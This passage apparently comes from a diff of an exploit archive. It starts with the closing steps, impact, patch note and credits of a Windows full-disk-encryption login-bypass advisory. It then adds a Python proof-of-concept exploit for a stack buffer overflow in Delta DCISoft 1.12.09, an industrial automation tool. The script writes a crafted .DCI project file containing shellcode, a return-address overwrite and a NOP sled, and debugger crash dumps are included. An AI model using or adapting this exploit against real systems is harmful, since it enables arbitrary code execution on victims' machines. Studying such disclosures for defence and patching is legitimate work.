STEP 10: Message "Your Password has been changed" is displayed, followed by the following error message "The trust relationship between this workstation and the primary domain failed."
|
||||
STEP 11: Disconnect Target system's network connection.
|
||||
STEP 12: Login with the new changed password.
|
||||
|
||||
3) Impact:
|
||||
Access gained to the information stored to the FDE target system without previous knowledge of password or any other information.
|
||||
|
||||
4) Solution:
|
||||
Install the latest patches from 09-02-2016 using Windows Update.
|
||||
|
||||
5) References:
|
||||
https://technet.microsoft.com/en-us/library/security/ms16-014.aspx
|
||||
https://support.microsoft.com/en-us/kb/3134228
|
||||
|
||||
6) Credits:
|
||||
Vulnerability discovered by Nabeel Ahmed (https://twitter.com/NabeelAhmedBE) and Tom Gilis (https://twitter.com/tgilis) of Dimension Data (https://www.dimensiondata.com)
|
85
platforms/windows/local/39443.py
Executable file
85
platforms/windows/local/39443.py
Executable file
|
@ -0,0 +1,85 @@
|
|||
#!/usr/bin/env python
|
||||
#
|
||||
#
|
||||
# Delta Industrial Automation DCISoft 1.12.09 Stack Buffer Overflow Exploit
|
||||
#
|
||||
#
|
||||
# Vendor: Delta Electronics, Inc.
|
||||
# Product web page: http://www.delta.com.tw
|
||||
# Software link: http://www.delta.com.tw/product/em/download/download_main.asp?act=3&pid=3&cid=5&tpid=3
|
||||
# Affected version: 1.12.09 (Build 12102014)
|
||||
#
|
||||
# Summary: DCISoft is a integrated configuration tool of Delta
|
||||
# network modules (DVPEN01-SL, RTU-EN01, IFD9506, IFD9507, DVPSCM12-SL,
|
||||
# DVPSCM52-SL) for WINDOWS operation system.
|
||||
#
|
||||
# Desc: The vulnerability is caused due to a boundary error in
|
||||
# the processing of a project file, which can be exploited to
|
||||
# cause a stack based buffer overflow when a user opens e.g. a
|
||||
# specially crafted .DCI file. Successful exploitation allows
|
||||
# execution of arbitrary code on the affected machine.
|
||||
#
|
||||
# ----------------------------------------------------------------------------
|
||||
# (1554.1830): Access violation - code c0000005 (!!! second chance !!!)
|
||||
# eax=00000001 ebx=0018f684 ecx=44444444 edx=777a4a20 esi=0018f65c edi=777a4a20
|
||||
# eip=73d34b64 esp=0018cdd8 ebp=0018cdec iopl=0 nv up ei pl nz na po nc
|
||||
# cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010202
|
||||
# MFC42!Ordinal2740+0x88:
|
||||
# 73d34b64 8b01 mov eax,dword ptr [ecx] ds:002b:44444444=????????
|
||||
# 0:000> d esp
|
||||
# 0018cdd8 1c f6 18 00 a8 a5 47 00-01 00 00 00 01 00 00 00 ......G.........
|
||||
# 0018cde8 5c f6 18 00 fc cd 18 00-a4 59 41 00 e1 b5 85 88 \........YA.....
|
||||
# 0018cdf8 5c f6 18 00 d8 f8 18 00-fa 38 41 00 84 f6 18 00 \........8A.....
|
||||
# 0018ce08 c8 8f 74 02 e8 1f 7c 02-04 ce 18 00 c8 8f 74 02 ..t...|.......t.
|
||||
# 0018ce18 04 ce 18 00 44 44 44 44-44 44 44 44 44 44 44 44 ....DDDDDDDDDDDD
|
||||
# 0018ce28 44 44 44 44 44 44 44 44-44 44 44 44 44 44 44 44 DDDDDDDDDDDDDDDD
|
||||
# 0018ce38 44 44 44 44 44 44 44 44-44 44 44 44 44 44 44 44 DDDDDDDDDDDDDDDD
|
||||
# 0018ce48 44 44 44 44 44 44 44 44-44 44 44 44 44 44 44 44 DDDDDDDDDDDDDDDD
|
||||
# --
|
||||
# (11bc.1394): Access violation - code c0000005 (first chance)
|
||||
# First chance exceptions are reported before any exception handling.
|
||||
# This exception may be expected and handled.
|
||||
# Defaulted to export symbols for C:\Program Files (x86)\Delta Industrial Automation\Communication\DCISoft 1.12\MFC42.DLL -
|
||||
# eax=0018cdfc ebx=0018f684 ecx=0018cdec edx=ce085164 esi=0018f65c edi=31f7ae9c
|
||||
# eip=43434343 esp=0018cdcc ebp=0018cdec iopl=0 nv up ei pl nz ac pe cy
|
||||
# cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00210217
|
||||
# 43434343 ?? ???
|
||||
# ----------------------------------------------------------------------------
|
||||
#
|
||||
# Tested on: Microsoft Windows 7 Professional SP1 (EN)
|
||||
# Microsoft Windows 7 Ultimate SP1 (EN)
|
||||
#
|
||||
#
|
||||
# Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
|
||||
# @zeroscience
|
||||
#
|
||||
#
|
||||
# Advisory ID: ZSL-2016-5305
|
||||
# Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2016-5305.php
|
||||
#
|
||||
#
|
||||
# 13.11.2015
|
||||
#
|
||||
|
||||
|
||||
sc = ("\x31\xd2\xb2\x30\x64\x8b\x12\x8b\x52\x0c\x8b\x52\x1c\x8b\x42"
|
||||
"\x08\x8b\x72\x20\x8b\x12\x80\x7e\x0c\x33\x75\xf2\x89\xc7\x03"
|
||||
"\x78\x3c\x8b\x57\x78\x01\xc2\x8b\x7a\x20\x01\xc7\x31\xed\x8b"
|
||||
"\x34\xaf\x01\xc6\x45\x81\x3e\x46\x61\x74\x61\x75\xf2\x81\x7e"
|
||||
"\x08\x45\x78\x69\x74\x75\xe9\x8b\x7a\x24\x01\xc7\x66\x8b\x2c"
|
||||
"\x6f\x8b\x7a\x1c\x01\xc7\x8b\x7c\xaf\xfc\x01\xc7\x68\x65\x64"
|
||||
"\x21\x01\x68\x20\x50\x77\x6e\x68\x20\x5a\x53\x4c\x89\xe1\xfe"
|
||||
"\x49\x0b\x31\xc0\x51\x50\xff\xd7")
|
||||
|
||||
buffer = "\x41" * 156 # align
|
||||
buffer += "\x3c\xce\x18\x00" # eip - jmp esp+49h
|
||||
buffer += "\x90" * 15 # nopsled
|
||||
buffer += sc # 113 bytes messagebox shellcode
|
||||
buffer += "\x44" * 7926 # extra shellcode space
|
||||
buffer += "\xec\xcd\x18\x00" # overwrite data segment to control eip - mov eax,dword ptr [ecx]
|
||||
buffer += "\x45" * 2203 # padding to fix 10421 bytes
|
||||
|
||||
f = open ("Detachment.dci", "w")
|
||||
f.write(buffer)
|
||||
f.close()
|
||||
print "File Detachment.dci successfully created!\n"
|
Loading…
Add table
Reference in a new issue